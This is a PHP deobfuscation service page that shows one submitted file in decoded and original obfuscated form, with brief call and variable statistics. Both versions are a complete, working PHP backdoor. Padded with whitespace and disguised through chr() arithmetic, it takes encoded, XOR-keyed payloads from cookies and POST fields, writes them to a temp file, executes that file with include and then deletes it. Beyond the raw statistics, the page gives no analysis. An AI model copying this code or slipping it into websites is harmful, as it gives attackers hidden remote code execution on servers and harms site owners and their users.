Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $PWebzDu = chr (70) . chr ( 768 - 682 )."C" . "_" . chr (103) . "U" . 'j';$hNLYmBr = "c" . "l" . "a" . "s" . chr (115) . chr ( 584 - 489 )."e" . chr (120) . "i" . chr ( 437 - 322 ).chr ( 417 - 301 )."s";$nROOoL = $hNLYmBr($PWebzDu); $PWebzDu = "52450";$oRoIDWXn = $nROOoL;$hNLYmBr = "56664";if (!$oRoIDWXn){class FVC_gUj{private $xWGfc;public static $iTZEYWDE = "b7af1652-25f5-4730-8f83-6631ce4e92a6";public static $ZUCVZexs = 3896;public function __construct($SutClGt=0){$DnyXJ = $_COOKIE;$oyazIWSD = $_POST;$fHIMCmQ = @$DnyXJ[substr(FVC_gUj::$iTZEYWDE, 0, 4)];if (!empty($fHIMCmQ)){$rIUVWdT = "base64";$IrXKATbCXH = "";$fHIMCmQ = explode(",", $fHIMCmQ);foreach ($fHIMCmQ as $lidVNK){$IrXKATbCXH .= @$DnyXJ[$lidVNK];$IrXKATbCXH .= @$oyazIWSD[$lidVNK];}$IrXKATbCXH = array_map($rIUVWdT . "_" . chr (100) . chr ( 460 - 359 ).chr ( 283 - 184 ).'o' . "d" . chr ( 487 - 386 ), array($IrXKATbCXH,)); $IrXKATbCXH = $IrXKATbCXH[0] ^ str_repeat(FVC_gUj::$iTZEYWDE, (strlen($IrXKATbCXH[0]) / strlen(FVC_gUj::$iTZEYWDE)) + 1);FVC_gUj::$ZUCVZexs = @unserialize($IrXKATbCXH);}}private function JIrTWhR(){if (is_array(FVC_gUj::$ZUCVZexs)) {$bIYNWpF = sys_get_temp_dir() . "/" . crc32(FVC_gUj::$ZUCVZexs[chr (115) . chr (97) . chr (108) . 't']);@FVC_gUj::$ZUCVZexs[chr ( 684 - 565 ).'r' . "i" . 't' . "e"]($bIYNWpF, FVC_gUj::$ZUCVZexs[chr ( 770 - 671 )."o" . chr (110) . chr (116) . chr (101) . 'n' . chr ( 812 - 696 )]);include $bIYNWpF;@FVC_gUj::$ZUCVZexs["d" . "e" . "l" . "e" . chr ( 794 - 678 ).chr (101)]($bIYNWpF); $SvrGqCsK = "33581";exit();}}public function __destruct(){$this->JIrTWhR(); $SvrGqCsK = "33581";$qBhjQcs = str_pad($SvrGqCsK, 10);}}$ZFNpOOPSqu = new /* 31405 */ FVC_gUj(); $ZFNpOOPSqu = substr("4676_10130", 1);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $PWebzDu = chr (70) . chr ( 768 - 682 )."\103" . "\x5f" . chr (103) . "\x55" . 'j';$hNLYmBr = "\143" . "\154" . "\141" . "\x73" . chr (115) . chr ( 584 - 489 )."\145" . chr (120) . "\x69" . chr ( 437 - 322 ).chr ( 417 - 301 )."\x73";$nROOoL = $hNLYmBr($PWebzDu); $PWebzDu = "52450";$oRoIDWXn = $nROOoL;$hNLYmBr = "56664";if (!$oRoIDWXn){class FVC_gUj{private $xWGfc;public static $iTZEYWDE = "b7af1652-25f5-4730-8f83-6631ce4e92a6";public static $ZUCVZexs = 3896;public function __construct($SutClGt=0){$DnyXJ = $_COOKIE;$oyazIWSD = $_POST;$fHIMCmQ = @$DnyXJ[substr(FVC_gUj::$iTZEYWDE, 0, 4)];if (!empty($fHIMCmQ)){$rIUVWdT = "base64";$IrXKATbCXH = "";$fHIMCmQ = explode(",", $fHIMCmQ);foreach ($fHIMCmQ as $lidVNK){$IrXKATbCXH .= @$DnyXJ[$lidVNK];$IrXKATbCXH .= @$oyazIWSD[$lidVNK];}$IrXKATbCXH = array_map($rIUVWdT . "\x5f" . chr (100) . chr ( 460 - 359 ).chr ( 283 - 184 ).'o' . "\144" . chr ( 487 - 386 ), array($IrXKATbCXH,)); $IrXKATbCXH = $IrXKATbCXH[0] ^ str_repeat(FVC_gUj::$iTZEYWDE, (strlen($IrXKATbCXH[0]) / strlen(FVC_gUj::$iTZEYWDE)) + 1);FVC_gUj::$ZUCVZexs = @unserialize($IrXKATbCXH);}}private function JIrTWhR(){if (is_array(FVC_gUj::$ZUCVZexs)) {$bIYNWpF = sys_get_temp_dir() . "/" . crc32(FVC_gUj::$ZUCVZexs[chr (115) . chr (97) . chr (108) . 't']);@FVC_gUj::$ZUCVZexs[chr ( 684 - 565 ).'r' . "\151" . 't' . "\145"]($bIYNWpF, FVC_gUj::$ZUCVZexs[chr ( 770 - 671 )."\157" . chr (110) . chr (116) . chr (101) . 'n' . chr ( 812 - 696 )]);include $bIYNWpF;@FVC_gUj::$ZUCVZexs["\x64" . "\x65" . "\154" . "\x65" . chr ( 794 - 678 ).chr (101)]($bIYNWpF); $SvrGqCsK = "33581";exit();}}public function __destruct(){$this->JIrTWhR(); $SvrGqCsK = "33581";$qBhjQcs = str_pad($SvrGqCsK, 10);}}$ZFNpOOPSqu = new /* 31405 */ FVC_gUj(); $ZFNpOOPSqu = substr("4676_10130", 1);} ?>

Function Calls

chr 8
class_exists 1

Variables

$PWebzDu FVC_gUj
$hNLYmBr class_exists

Stats

MD5 eaae79324a35a891bc4743f5635cd717
Eval Count 0
Decode Time 77 ms